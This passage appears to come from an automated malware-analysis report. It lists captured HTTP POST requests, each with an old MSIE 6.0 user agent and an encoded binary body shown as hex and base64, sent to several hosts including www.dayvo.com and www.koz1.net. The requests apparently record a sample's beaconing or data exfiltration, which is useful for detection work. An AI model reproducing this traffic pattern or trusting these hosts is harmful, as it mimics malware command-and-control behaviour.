55 57 67 4c 39 43 6d 6d 62 4b 6a 78 64 78 72 46 66 37 70 33 65 4a 73 73 77 43 73 45 5a 47 43 52 48 42 4a 4d 2b 36 51 44 4e 58 2f 62 4c 74 4e 5a 69 74 52 2f 50 56 52 46 4e 74 67 37 47 61 52 43 2b 78 39 49 3d Data Ascii: J6SBscB+SPwe/Yqfk+NdT/PXuNqoVLLh9Pkoow2hz2LqJqhanXOdRFP7lgs3YkMnlQKag5Ju2SQeJ9jeUk4jvHEIlCUkoswpVu0gM3tYVyxTRlMxGt737vkuWWhQxawNvan7Ha0hbgGKbfIY7dUgXnGIwl//B00LA5MXkqFY/++QL9VggIabnq8nKb5Y+edaRN7zTRaZAhhEnux/MpTmZqPMbJkR7+4IDvfO/IYP+KgcpnhadTNG+E230L3GamK0rFh/DvA9KzoXjBDNa/NaiH6jGjJtuWOyIuEW7x0wLBsczMJgWjYcSFBgrTvKjWxnQGAdwQFbRvxJpNO0AECOuYD8XAaz+232nFd46S2AHzYRiqGruNL7qpMdBo4j6qFqL5AT5wCKvY1juuvz7QjIN2ZZ+4yewx96SYUQ4hOA1HPIszcllrREEXwohZgd1JOwdhKzjdJSMGzCVu/FKhAXbdiWA9VUWgL9CmmbKjxdxrFf7p3eJsswCsEZGCRHBJM+6QDNX/bLtNZitR/PVRFNtg7GaRC+x9I=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 600User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.dayvo.comCache-Control: no-cacheData Raw: 6c 4a 37 67 74 71 50 37 55 50 78 64 44 61 73 64 4b 71 79 35 34 38 7a 5a 33 4b 50 4a 6f 6a 34 46 68 30 76 79 55 6a 41 50 4e 67 52 2f 76 65 35 76 2b 79 46 68 4f 46 63 76 67 44 54 68 41 44 70 4e 64 2f 50 68 5a 47 62 75 59 37 65 46 2f 4d 35 71 74 37 6f 65 36 6b 37 63 6a 6b 72 49 58 74 42 4a 79 62 4d 61 45 62 48 61 47 6d 4c 45 4d 50 50 50 6e 45 35 35 58 41 49 4e 6c 2b 56 58 42 66 68 46 41 50 47 36 31 79 72 54 64 32 6c 64 54 4a 79 53 4a 41 2f 2b 7a 2f 4f 77 54 6c 79 50 70 45 51 41 76 6b 36 49 59 38 65 4a 69 73 45 50 6b 55 67 56 36 69 6c 67 36 70 31 42 46 2b 72 4a 48 65 73 51 43 75 33 38 4d 64 6f 4b 37 54 78 55 4b 74 4a 6f 78 52 61 68 4c 35 68 69 4b 32 32 6f 58 75 6c 57 52 41 78 6f 2b 6c 62 6f 4c 66 4b 4a 66 2f 34 36 2b 4c 43 30 36 63 34 50 32 59 75 39 51 73 59 6b 31 79 65 4a 76 41 58 67 66 36 4a 6f 48 68 4b 4f 34 54 64 62 64 66 67 67 4b 51 71 4e 38 6c 39 66 56 54 58 38 45 33 46 64 72 36 69 68 4a 73 54 77 34 68 65 4b 71 70 65 58 63 6b 71 6b 38 59 30 76 2f 54 7a 4f 50 58 79 38 30 67 7a 79 42 49 48 6a 51 7a 77 66 30 33 58 39 53 6c 36 6f 67 74 44 48 32 45 75 34 4e 76 4d 47 41 33 77 49 31 76 34 72 31 6f 36 48 67 74 4d 56 33 33 36 6d 49 44 70 59 64 68 49 6f 76 36 47 66 37 4a 75 72 33 31 4d 55 4b 39 75 51 4f 41 53 61 66 4b 67 33 72 31 34 64 5a 49 49 34 46 68 79 47 31 70 41 71 48 67 65 65 43 62 4f 43 56 67 45 43 54 78 76 57 38 52 42 74 39 45 57 69 7a 43 50 56 31 31 31 72 72 6a 64 4f 44 79 51 63 31 44 6a 55 79 4c 2b 68 53 46 64 75 75 67 58 67 76 43 38 55 45 39 58 4b 46 79 4c 35 53 66 61 35 4b 41 38 76 48 68 4f 75 63 30 54 4d 47 43 6e 56 31 69 50 53 44 4d 33 43 52 5a 6d 51 75 54 44 59 77 50 41 2b 53 44 53 6b 6f 6b 34 67 67 70 42 41 65 37 77 35 58 6b 4c 39 39 52 70 65 57 4e 57 4e 64 76 48 78 50 53 78 50 6a 79 42 6f 4a 36 53 78 72 53 69 72 4a 62 4a 76 34 6c 77 75 4c 77 39 54 54 46 53 34 Data Ascii: lJ7gtqP7UPxdDasdKqy548zZ3KPJoj4Fh0vyUjAPNgR/ve5v+yFhOFcvgDThADpNd/PhZGbuY7eF/M5qt7oe6k7cjkrIXtBJybMaEbHaGmLEMPPPnE55XAINl+VXBfhFAPG61yrTd2ldTJySJA/+z/OwTlyPpEQAvk6IY8eJisEPkUgV6ilg6p1BF+rJHesQCu38MdoK7TxUKtJoxRahL5hiK22oXulWRAxo+lboLfKJf/46+LC06c4P2Yu9QsYk1yeJvAXgf6JoHhKO4TdbdfggKQqN8l9fVTX8E3Fdr6ihJsTw4heKqpeXckqk8Y0v/TzOPXy80gzyBIHjQzwf03X9Sl6ogtDH2Eu4NvMGA3wI1v4r1o6HgtMV336mIDpYdhIov6Gf7Jur31MUK9uQOASafKg3r14dZII4FhyG1pAqHgeeCbOCVgECTxvW8RBt9EWizCPV111rrjdODyQc1DjUyL+hSFduugXgvC8UE9XKFyL5Sfa5KA8vHhOuc0TMGCnV1iPSDM3CRZmQuTDYwPA+SDSkok4ggpBAe7w5XkL99RpeWNWNdvHxPSxPjyBoJ6SxrSirJbJv4lwuLw9TTFS4
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.domon.comCache-Control: no-cacheData Raw: 61 70 72 50 51 57 4d 75 54 66 7a 42 78 34 79 34 36 73 43 41 56 49 78 65 6c 35 32 4a 76 4d 4f 56 52 30 70 57 6e 31 69 64 69 77 47 69 79 34 4c 49 65 4f 5a 55 4f 48 56 2b 41 72 7a 42 55 74 30 54 48 74 4e 55 31 61 75 34 50 4a 74 56 61 78 4f 5a 63 66 78 41 52 65 39 4b 38 55 2f 52 7a 45 2b 75 34 66 6b 41 43 4a 39 75 50 4e 36 54 68 54 41 6e 2f 65 76 74 65 52 79 51 6e 66 58 43 6e 78 4c 2f 33 54 52 2b 55 72 44 4e 36 55 64 42 66 38 70 4b 35 69 37 6f 59 4c 31 2f 30 58 53 63 47 79 63 42 76 2f 4b 79 37 58 58 74 58 68 50 67 56 61 2f 64 55 39 73 2b 79 58 59 4c 4a 68 4d 30 75 72 72 6b 38 72 31 30 4c 46 37 53 6c 79 6d 55 49 48 69 31 43 55 76 58 68 4b 6f 45 33 39 32 39 34 31 67 68 37 4a 6f 74 54 2f 62 45 46 41 7a 2f 43 39 78 48 75 70 35 4d 7a 5a 31 32 75 56 70 7a 61 63 45 70 48 4a 6d 62 63 64 78 30 61 4f 67 2f 53 6e 4e 4c 33 44 45 63 68 52 54 52 43 43 69 41 50 4f 46 31 49 75 30 32 67 36 53 37 64 79 42 43 7a 43 48 46 2f 50 34 6d 39 78 51 65 59 54 38 44 65 66 72 61 65 32 66 4b 68 70 33 41 73 35 79 49 42 4e 47 6f 76 73 6b 6c 52 63 4c 66 44 77 62 72 4e 74 68 42 2f 46 53 55 74 61 55 65 79 35 6c 66 70 46 47 75 4b 57 57 45 65 62 62 74 49 71 4e 49 75 6e 67 56 71 66 2b 76 61 67 43 76 67 2b 66 78 46 52 55 49 31 79 2b 53 77 61 6f 6b 77 56 66 70 51 79 5a 2f 76 48 36 2f 65 7a 75 35 54 32 58 62 77 73 7a 6b 74 51 52 64 66 31 62 7a 69 42 77 67 42 70 4e 72 5a 64 6a 47 51 2f 4e 73 4c 4a 46 79 72 76 73 63 32 31 4d 4e 42 78 67 6d 7a 6e 53 2b 37 62 70 7a 78 4f 79 35 45 41 31 67 47 43 37 46 2f 6f 58 50 41 2b 73 47 70 4f 67 61 36 4a 73 36 68 63 65 48 47 43 62 67 68 45 30 47 45 5a 57 4f 49 37 4e 41 6b 30 31 77 53 55 33 54 2f 5a 64 58 70 56 6c 6e Data Ascii: aprPQWMuTfzBx4y46sCAVIxel52JvMOVR0pWn1idiwGiy4LIeOZUOHV+ArzBUt0THtNU1au4PJtVaxOZcfxARe9K8U/RzE+u4fkACJ9uPN6ThTAn/evteRyQnfXCnxL/3TR+UrDN6UdBf8pK5i7oYL1/0XScGycBv/Ky7XXtXhPgVa/dU9s+yXYLJhM0urrk8r10LF7SlymUIHi1CUvXhKoE392941gh7JotT/bEFAz/C9xHup5MzZ12uVpzacEpHJmbcdx0aOg/SnNL3DEchRTRCCiAPOF1Iu02g6S7dyBCzCHF/P4m9xQeYT8Defrae2fKhp3As5yIBNGovsklRcLfDwbrNthB/FSUtaUey5lfpFGuKWWEebbtIqNIungVqf+vagCvg+fxFRUI1y+SwaokwVfpQyZ/vH6/ezu5T2XbwszktQRdf1bziBwgBpNrZdjGQ/NsLJFyrvsc21MNBxgmznS+7bpzxOy5EA1gGC7F/oXPA+sGpOga6Js6hceHGCbghE0GEZWOI7NAk01wSU3T/ZdXpVln
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.tyrns.comCache-Control: no-cacheData Raw: 66 45 61 6a 6b 6d 4c 4f 54 2f 7a 74 55 41 35 63 31 58 70 4a 41 4f 57 64 6d 6e 6e 79 67 55 47 69 74 67 4b 35 6c 65 78 65 76 79 33 54 7a 53 4f 63 77 39 4f 65 76 2f 4c 33 44 6a 4e 57 55 49 63 4b 75 52 41 6e 2f 37 73 2f 48 6b 54 42 48 74 46 4a 6c 36 78 55 33 54 78 4f 61 6b 72 36 76 76 61 7a 62 38 63 68 7a 65 64 38 32 71 37 55 77 56 56 2f 49 70 69 58 57 5a 6d 35 32 45 46 59 5a 71 52 6c 4c 6f 4c 58 4a 4c 4b 6c 55 76 53 4f 38 50 73 6d 4a 45 38 63 58 56 44 39 6c 50 72 74 54 6d 32 38 6a 68 4c 58 53 63 30 71 53 61 5a 2b 43 38 76 6d 47 61 37 65 75 77 41 61 36 61 33 4c 74 6d 72 53 30 6f 4a 78 66 33 55 72 47 34 66 4a 54 6c 6b 71 6f 7a 59 69 4f 35 6d 6e 4d 32 6b 77 79 48 32 4a 61 6a 62 6a 62 6b 33 6e 6b 77 52 59 55 41 56 6b 6b 64 31 58 45 4b 36 77 6d 62 6f 6d 51 77 6b 71 6b 32 73 30 2b 47 58 6c 39 31 4f 6d 55 35 6c 69 6c 4a 4e 2b 74 52 43 6b 58 4d 78 69 6b 69 61 4e 4d 39 32 4d 2f 65 4c 71 4e 44 33 38 73 67 45 61 69 42 68 52 2b 4d 50 42 39 67 54 4a 62 62 4d 6a 34 6d 36 66 49 6c 45 39 45 4a 30 7a 74 48 32 58 42 45 39 6f 4c 5a 53 2b 7a 58 64 70 57 6d 49 47 79 54 45 41 41 64 59 72 44 2b 39 36 66 43 71 5a 4b 38 4b 46 59 75 6e 72 2b 49 49 63 61 79 30 32 2f 76 6a 6e 58 6b 74 47 72 6d 66 47 43 70 57 62 54 59 4d 45 54 67 72 6e 65 2f 59 73 73 70 6d 52 6a 75 6d 38 6e 44 61 44 6b 42 52 50 2b 48 50 32 31 70 7a 36 48 76 44 78 76 72 67 57 4c 37 77 64 58 7a 6f 67 34 47 30 44 4f 47 6c 74 39 65 4b 61 62 66 78 53 46 45 73 39 61 31 67 56 2b 4c 73 4f 57 36 64 57 43 36 4c 46 39 35 78 64 69 6d 51 56 53 6d 4a 61 61 39 4c 74 76 30 42 31 62 73 79 59 44 75 54 52 4d 68 50 37 4a 58 7a 62 34 2b 38 34 4e 33 7a 2f 6e 72 6b 6d 71 31 39 36 66 37 58 6d 70 6d 50 4c 54 41 59 4a 53 56 57 74 6c 73 64 75 57 6e 45 6a 68 4f 61 56 Data Ascii: fEajkmLOT/ztUA5c1XpJAOWdmnnygUGitgK5lexevy3TzSOcw9Oev/L3DjNWUIcKuRAn/7s/HkTBHtFJl6xU3TxOakr6vvazb8chzed82q7UwVV/IpiXWZm52EFYZqRlLoLXJLKlUvSO8PsmJE8cXVD9lPrtTm28jhLXSc0qSaZ+C8vmGa7euwAa6a3LtmrS0oJxf3UrG4fJTlkqozYiO5mnM2kwyH2Jajbjbk3nkwRYUAVkkd1XEK6wmbomQwkqk2s0+GXl91OmU5lilJN+tRCkXMxikiaNM92M/eLqND38sgEaiBhR+MPB9gTJbbMj4m6fIlE9EJ0ztH2XBE9oLZS+zXdpWmIGyTEAAdYrD+96fCqZK8KFYunr+IIcay02/vjnXktGrmfGCpWbTYMETgrne/YsspmRjum8nDaDkBRP+HP21pz6HvDxvrgWL7wdXzog4G0DOGlt9eKabfxSFEs9a1gV+LsOW6dWC6LF95xdimQVSmJaa9Ltv0B1bsyYDuTRMhP7JXzb4+84N3z/nrkmq196f7XmpmPLTAYJSVWtlsduWnEjhOaV
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.medisa.infoCache-Control: no-cacheData Raw: 68 5a 75 36 37 42 74 72 53 76 78 71 56 76 4e 36 4d 69 57 47 4b 41 53 51 31 6d 32 68 4d 2f 2b 51 66 2f 36 49 53 70 2f 54 4a 6d 32 2f 65 67 38 70 44 69 59 33 45 49 72 70 34 57 6e 49 4e 4b 6b 30 51 6c 31 4f 79 45 6f 6e 58 59 4e 52 70 55 6f 49 53 2b 43 51 4f 6b 2b 6d 30 54 66 6a 4b 63 56 50 6c 2b 44 6b 76 4a 33 74 7a 34 67 2f 4d 7a 6c 39 34 74 70 68 75 43 67 39 34 77 4c 68 47 6b 42 6c 56 74 73 6e 31 47 42 41 4d 69 59 75 44 43 4b 33 49 43 75 69 63 67 66 35 6a 44 4f 4b 53 5a 48 6b 32 69 61 6a 42 6c 4b 36 54 65 71 47 4b 4a 44 39 52 30 79 71 52 4b 71 67 2b 46 52 6e 65 72 6a 57 6a 48 4a 64 75 36 50 35 75 31 79 45 74 6f 32 61 41 65 61 5a 6b 47 35 4a 53 43 64 37 32 4f 71 4d 42 61 4a 59 77 45 35 48 61 78 62 68 6c 32 4a 38 6b 58 64 51 47 46 70 48 72 6a 76 50 6a 78 32 6e 6c 65 38 67 69 48 2f 4e 41 71 43 5a 67 63 41 78 62 2f 77 2f 46 65 35 53 44 69 50 4c 65 6b 66 61 4a 64 4e 55 49 6d 73 75 38 70 36 6a 65 57 4c 31 44 70 35 34 47 75 52 58 6d 63 73 72 63 57 6e 78 32 66 4a 59 6b 58 52 36 77 31 31 54 42 6b 4a 57 33 33 73 6f 45 47 45 34 44 49 43 4d 32 71 6c 76 76 69 50 39 5a 37 41 55 4d 73 5a 6f 6b 2b 76 30 57 37 63 38 4e 6c 4b 34 2f 6d 77 70 55 66 6a 5a 30 4a 65 42 68 76 67 47 50 30 6c 43 2b 76 47 2b 4e 35 4c 6d 45 67 70 42 30 72 57 62 78 62 2b 65 39 6c 32 4a 54 66 30 64 48 70 33 70 79 51 4c 6c 31 73 65 44 7a 4b 37 37 45 31 4c 33 30 37 49 65 6f 6d 4e 30 41 49 65 72 46 6c 65 69 41 45 63 75 4b 37 62 7a 57 69 59 58 68 4a 78 2b 58 4c 73 43 56 4a 6b 2f 76 6f 33 33 78 33 59 4d 66 68 5a 48 77 72 59 32 36 50 46 68 4b 2b 6d 4b 4c 4f 45 54 4a 6d 75 61 59 31 58 4f 59 38 49 34 2b 77 6d 4b 6e 30 65 74 33 67 5a 72 64 64 4c 52 37 57 58 68 6f 50 52 55 4a 53 43 4e 4f 33 32 49 6c 78 37 41 56 39 67 2f 67 48 31 6b Data Ascii: hZu67BtrSvxqVvN6MiWGKASQ1m2hM/+Qf/6ISp/TJm2/eg8pDiY3EIrp4WnINKk0Ql1OyEonXYNRpUoIS+CQOk+m0TfjKcVPl+DkvJ3tz4g/Mzl94tphuCg94wLhGkBlVtsn1GBAMiYuDCK3ICuicgf5jDOKSZHk2iajBlK6TeqGKJD9R0yqRKqg+FRnerjWjHJdu6P5u1yEto2aAeaZkG5JSCd72OqMBaJYwE5Haxbhl2J8kXdQGFpHrjvPjx2nle8giH/NAqCZgcAxb/w/Fe5SDiPLekfaJdNUImsu8p6jeWL1Dp54GuRXmcsrcWnx2fJYkXR6w11TBkJW33soEGE4DICM2qlvviP9Z7AUMsZok+v0W7c8NlK4/mwpUfjZ0JeBhvgGP0lC+vG+N5LmEgpB0rWbxb+e9l2JTf0dHp3pyQLl1seDzK77E1L307IeomN0AIerFleiAEcuK7bzWiYXhJx+XLsCVJk/vo33x3YMfhZHwrY26PFhK+mKLOETJmuaY1XOY8I4+wmKn0et3gZrddLR7WXhoPRUJSCNO32Ilx7AV9g/gH1k
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ora-ito.comCache-Control: no-cacheData Raw: 6e 66 46 6b 51 4b 51 69 54 66 79 53 4b 71 6e 62 50 77 30 72 4b 6e 66 31 6a 74 35 63 34 4e 43 71 47 45 70 76 55 4d 78 39 6c 52 4d 76 69 6f 4d 64 42 38 6c 37 65 77 66 64 76 62 4b 47 70 56 55 4c 2b 39 34 49 36 5a 78 45 56 38 54 39 75 6f 5a 77 34 49 66 77 5a 7a 6c 4c 46 32 38 50 30 51 2b 37 4e 58 37 63 59 4b 4f 36 30 43 56 47 37 53 6d 4e 74 67 6d 64 2b 65 74 47 67 71 66 38 6d 2b 49 7a 58 57 2f 76 30 54 53 43 52 71 37 7a 4d 4c 68 7a 78 43 62 64 57 46 57 41 46 36 4b 53 42 2b 31 5a 71 52 44 55 63 35 58 43 50 50 53 59 35 6f 57 46 62 74 2b 2f 70 73 77 56 61 79 72 45 47 6d 43 5a 6c 75 78 63 75 45 57 4b 49 7a 2b 4d 56 51 61 57 65 4b 48 7a 4f 51 42 64 78 55 53 50 78 42 39 35 74 56 4f 77 50 6c 38 2b 43 65 30 34 56 61 6e 59 35 41 43 56 4d 4d 51 6f 4c 56 4e 78 51 78 53 54 41 38 46 2f 63 64 55 4e 59 5a 54 71 2b 54 5a 72 62 38 30 77 43 57 7a 77 51 66 4e 39 30 32 63 69 6c 62 46 6a 6b 2f 64 41 7a 30 49 77 4d 35 4e 44 58 35 5a 45 53 62 36 4e 6e 67 35 64 36 6d 54 62 5a 75 38 4c 2b 75 78 73 53 50 43 4d 74 53 38 51 68 6d 53 65 4f 75 58 48 55 7a 73 72 36 53 4a 6f 39 51 51 41 62 4a 4c 31 64 4b 78 48 33 72 53 57 32 4f 47 52 6e 4d 4b 36 31 71 70 35 67 5a 6b 68 4a 55 4f 6e 74 39 46 4c 74 39 63 66 39 45 6e 65 62 55 64 47 51 6d 6a 39 34 77 42 56 37 4b 32 57 48 6f 79 55 50 57 6c 31 6d 4f 56 74 43 68 43 48 42 47 63 67 62 45 33 4f 32 78 56 35 73 54 4e 56 4e 2f 35 70 63 32 72 47 77 54 61 66 30 2b 6e 38 38 51 2b 52 78 53 50 4b 52 2b 7a 46 50 39 4b 49 61 47 6e 41 71 66 48 46 41 53 43 47 79 49 6f 46 70 53 77 47 61 47 37 62 5a 67 6b 30 6e 2b 31 42 35 70 5a 76 6e 51 49 57 48 4e 4d 33 65 4b 42 4b 65 47 54 44 72 78 52 4f 74 54 74 77 44 2b 62 59 55 79 47 6e 6b 78 4d 5a 45 34 2b 78 6a 37 5a 71 68 44 71 4c 42 51 58 79 4a 49 58 33 Data Ascii: nfFkQKQiTfySKqnbPw0rKnf1jt5c4NCqGEpvUMx9lRMvioMdB8l7ewfdvbKGpVUL+94I6ZxEV8T9uoZw4IfwZzlLF28P0Q+7NX7cYKO60CVG7SmNtgmd+etGgqf8m+IzXW/v0TSCRq7zMLhzxCbdWFWAF6KSB+1ZqRDUc5XCPPSY5oWFbt+/pswVayrEGmCZluxcuEWKIz+MVQaWeKHzOQBdxUSPxB95tVOwPl8+Ce04VanY5ACVMMQoLVNxQxSTA8F/cdUNYZTq+TZrb80wCWzwQfN902cilbFjk/dAz0IwM5NDX5ZESb6Nng5d6mTbZu8L+uxsSPCMtS8QhmSeOuXHUzsr6SJo9QQAbJL1dKxH3rSW2OGRnMK61qp5gZkhJUOnt9FLt9cf9EnebUdGQmj94wBV7K2WHoyUPWl1mOVtChCHBGcgbE3O2xV5sTNVN/5pc2rGwTaf0+n88Q+RxSPKR+zFP9KIaGnAqfHFASCGyIoFpSwGaG7bZgk0n+1B5pZvnQIWHNM3eKBKeGTDrxROtTtwD+bYUyGnkxMZE4+xj7ZqhDqLBQXyJIX3
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.x0c.comCache-Control: no-cacheData Raw: 5a 52 41 79 36 59 54 39 51 66 77 38 57 4c 56 63 6e 32 75 76 47 46 66 33 32 39 61 38 78 4d 43 2b 2b 4b 4b 41 6a 36 77 39 71 34 35 43 46 56 43 4a 73 46 65 31 75 50 62 4a 75 64 77 30 44 4c 57 4a 63 33 37 4d 42 65 78 44 75 6e 30 30 48 4d 46 2b 70 37 43 62 34 42 42 46 45 69 54 36 33 6e 71 42 35 4a 64 5a 2f 73 47 78 2f 61 48 67 33 74 38 4d 41 6c 69 4f 39 65 79 2b 38 2b 73 75 2b 4d 44 66 5a 71 4c 70 34 77 53 76 67 50 76 4c 77 61 36 57 36 52 5a 55 62 56 37 2f 62 75 58 45 6f 69 56 67 55 53 59 45 38 7a 7a 33 7a 6d 36 4a 76 42 67 71 78 72 30 7a 32 69 6c 43 43 61 50 59 51 4c 59 6a 43 48 6c 6b 5a 39 4b 48 46 47 2b 65 4b 56 47 41 68 7a 2f 71 39 65 39 4b 6d 32 63 55 44 58 50 45 69 6a 73 54 66 4e 67 4a 73 36 33 79 46 51 58 44 56 62 52 6f 6e 38 35 73 4a 75 6d 52 6b 4f 32 65 47 74 57 63 35 44 7a 4a 79 7a 73 41 78 75 64 64 69 38 69 6c 5a 31 69 44 5a 57 61 65 4d 54 70 49 6b 65 2b 59 76 47 73 70 77 53 77 48 59 52 4f 56 50 5a 77 74 54 4c 34 35 4b 35 6e 6e 61 31 41 50 76 68 34 4c 4d 6b 56 52 32 51 46 72 68 63 6f 54 42 72 68 49 70 68 79 51 41 38 74 4d 69 54 46 6b 41 6a 43 50 30 63 62 74 67 44 72 65 48 46 71 50 78 46 65 74 45 47 61 38 54 6c 68 47 56 4c 36 51 33 71 6a 73 4a 47 56 4e 44 51 6d 68 33 71 2f 76 4b 52 6f 78 2f 59 68 79 71 68 42 32 49 61 57 6b 78 66 71 76 73 2f 71 77 30 50 36 6f 61 69 47 51 2f 67 52 62 43 41 57 4b 71 71 6c 36 39 4b 62 4a 30 72 4e 74 32 4b 41 61 55 53 74 51 57 4e 6b 51 64 58 6f 47 79 57 4a 54 67 61 50 36 65 2f 5a 66 4a 75 44 52 7a 52 78 46 54 6b 63 45 64 58 37 52 49 4d 64 53 70 62 49 66 2f 76 6a 44 77 56 4a 43 5a 4b 61 35 45 6f 38 34 55 62 53 49 64 75 6d 42 44 79 32 6c 58 76 64 63 6f 4e 77 77 47 5a 72 56 74 4d 33 6c 57 54 7a 44 74 63 6b 3d Data Ascii: ZRAy6YT9Qfw8WLVcn2uvGFf329a8xMC++KKAj6w9q45CFVCJsFe1uPbJudw0DLWJc37MBexDun00HMF+p7Cb4BBFEiT63nqB5JdZ/sGx/aHg3t8MAliO9ey+8+su+MDfZqLp4wSvgPvLwa6W6RZUbV7/buXEoiVgUSYE8zz3zm6JvBgqxr0z2ilCCaPYQLYjCHlkZ9KHFG+eKVGAhz/q9e9Km2cUDXPEijsTfNgJs63yFQXDVbRon85sJumRkO2eGtWc5DzJyzsAxuddi8ilZ1iDZWaeMTpIke+YvGspwSwHYROVPZwtTL45K5nna1APvh4LMkVR2QFrhcoTBrhIphyQA8tMiTFkAjCP0cbtgDreHFqPxFetEGa8TlhGVL6Q3qjsJGVNDQmh3q/vKRox/YhyqhB2IaWkxfqvs/qw0P6oaiGQ/gRbCAWKqql69KbJ0rNt2KAaUStQWNkQdXoGyWJTgaP6e/ZfJuDRzRxFTkcEdX7RIMdSpbIf/vjDwVJCZKa5Eo84UbSIdumBDy2lXvdcoNwwGZrVtM3lWTzDtck=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.koz1.netCache-Control: no-cacheData Raw: 45 75 49 56 51 57 41 6f 54 66 77 48 50 47 4f 78 73 30 44 51 75 35 4e 53 77 67 58 49 58 71 6e 52 6c 48 56 37 70 78 35 39 68 6f 2b 50 74 4d 57 79 58 50 76 6a 36 70 6e 4f 6d 55 79 66 47 6f 53 6b 6e 52 37 48 46 42 4d 34 54 4d 30 63 76 38 76 44 6c 6d 38 45 38 75 38 71 73 51 58 56 70 72 4d 56 7a 4d 4f 51 33 57 50 73 35 68 4b 78 78 45 4f 48 75 4d 51 64 39 34 44 63 47 50 69 37 7a 31 7a 32 72 39 31 72 52 75 55 6e 37 37 47 46 37 6f 43 64 42 30 58 54 6b 38 2b 4e 70 47 4f 39 71 57 31 30 4f 76 50 49 78 41 5a 2b 6b 6e 38 71 35 54 65 6b 33 2b 4b 69 51 6f 64 70 48 71 75 52 67 36 4a 70 61 36 6c 42 55 6c 39 44 6a 57 35 6a 42 53 43 4d 37 7a 74 64 31 41 77 2f 33 66 4c 6d 74 64 4e 6b 39 36 42 2b 45 52 69 56 36 4a 55 43 4f 79 4b 72 2f 56 65 30 78 6a 69 34 6e 37 5a 49 6e 44 2b 41 71 72 72 54 74 43 53 73 44 75 31 54 6d 56 62 72 57 45 6d 50 73 44 57 62 6d 4e 4f 4e 4e 63 77 6b 73 4d 4a 4d 59 41 4c 69 48 37 44 78 54 68 42 78 71 76 31 4e 61 66 4d 70 45 36 6d 61 38 49 45 45 38 68 4b 75 52 61 7a 53 38 49 72 6d 5a 74 44 65 4e 6e 54 62 75 75 53 4f 61 4a 64 47 4b 79 71 47 70 6d 61 51 46 34 42 4d 44 2f 4f 30 52 6e 4a 4a 4b 7a 43 4c 71 68 6f 70 63 62 71 54 2f 76 53 6d 59 32 6d 70 36 37 75 58 6b 6f 53 4e 2f 67 6a 48 53 30 52 44 55 4f 50 68 32 66 52 41 6a 51 75 78 34 35 42 37 41 70 42 53 49 48 65 44 33 4e 36 6c 6f 69 58 2f 4b 46 31 36 54 49 6b 68 4a 2f 64 38 35 5a 4a 49 75 58 78 6b 73 75 56 66 66 74 68 67 75 32 62 31 6c 6d 70 7a 70 53 7a 4b 35 2b 38 4c 2b 7a 62 46 59 2b 79 42 56 4a 54 7a 6d 43 65 4c 4b 72 30 52 72 64 48 65 62 43 70 75 53 63 46 5a 56 47 75 6f 46 69 39 6c 38 2b 64 57 33 49 6e 6f 6e 30 5a 34 79 53 38 58 6e 79 4a 70 50 4e 4d 3d Data Ascii: EuIVQWAoTfwHPGOxs0DQu5NSwgXIXqnRlHV7px59ho+PtMWyXPvj6pnOmUyfGoSknR7HFBM4TM0cv8vDlm8E8u8qsQXVprMVzMOQ3WPs5hKxxEOHuMQd94DcGPi7z1z2r91rRuUn77GF7oCdB0XTk8+NpGO9qW10OvPIxAZ+kn8q5Tek3+KiQodpHquRg6Jpa6lBUl9DjW5jBSCM7ztd1Aw/3fLmtdNk96B+ERiV6JUCOyKr/Ve0xji4n7ZInD+AqrrTtCSsDu1TmVbrWEmPsDWbmNONNcwksMJMYALiH7DxThBxqv1NafMpE6ma8IEE8hKuRazS8IrmZtDeNnTbuuSOaJdGKyqGpmaQF4BMD/O0RnJJKzCLqhopcbqT/vSmY2mp67uXkoSN/gjHS0RDUOPh2fRAjQux45B7ApBSIHeD3N6loiX/KF16TIkhJ/d85ZJIuXxksuVffthgu2b1lmpzpSzK5+8L+zbFY+yBVJTzmCeLKr0RrdHebCpuScFZVGuoFi9l8+dW3Inon0Z4yS8XnyJpPNM=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.ka-mo-me.comCache-Control: no-cacheData Raw: 61 68 63 57 48 6d 64 77 6e 66 76 6e 6e 45 42 36 46 72 4a 46 75 44 42 6a 4c 4d 37 64 41 44 4c 68 69 30 70 42 2f 79 54 2b 37 69 6a 4f 44 4d 38 43 45 50 46 37 4a 30 7a 41 32 70 63 6c 61 2f 37 57 36 46 4d 7a 6c 6e 61 2f 72 52 79 53 50 57 55 67 67 4d 37 48 61 62 59 51 6c 4d 35 7a 50 41 47 39 44 5a 4d 7a 72 52 72 2b 59 70 66 54 36 36 76 37 32 47 30 43 71 71 77 4f 32 67 69 75 6a 56 70 46 4b 33 37 47 69 56 6b 30 46 66 2b 39 41 62 65 43 47 61 2f 69 6a 4e 51 58 6b 35 77 56 54 43 30 59 6e 4b 6f 77 53 66 76 42 48 78 36 34 67 5a 7a 56 65 50 5a 67 30 56 56 79 74 47 6d 74 49 61 71 6d 54 41 38 4b 52 6a 50 33 63 70 38 4b 45 33 6d 77 4a 6e 61 6c 42 37 52 79 39 34 78 67 38 76 62 75 